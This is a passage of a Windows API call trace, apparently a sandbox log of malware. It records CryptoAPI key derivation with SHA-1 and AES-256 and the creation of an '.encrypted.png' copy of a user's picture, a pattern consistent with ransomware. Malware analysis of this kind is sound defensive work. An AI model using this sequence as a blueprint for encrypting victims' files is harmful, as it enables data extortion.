lpUsedDefaultChar=0x0) returned 12 [0028.774] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.774] CloseHandle (hObject=0x188) returned 1 [0028.775] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.775] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.775] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.775] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.775] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.775] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.776] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.776] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.776] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.776] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.776] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.777] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.777] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.777] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.777] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.777] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.778] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.778] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.778] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b480, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.778] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.778] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.779] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.779] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.779] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.779] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0028.779] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.780] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\u1bz6duc.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.780] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.781] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.781] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w")) returned 0x10 [0028.781] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\u1bz6duc.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.782] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.782] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.782] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.783] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x42e7, lpOverlapped=0x0) returned 1 [0028.784] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.786] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.786] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.786] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.786] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.786] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.787] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.787] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.787] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.787] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.787] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.787] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.788] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.788] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.788] PeekMessageW 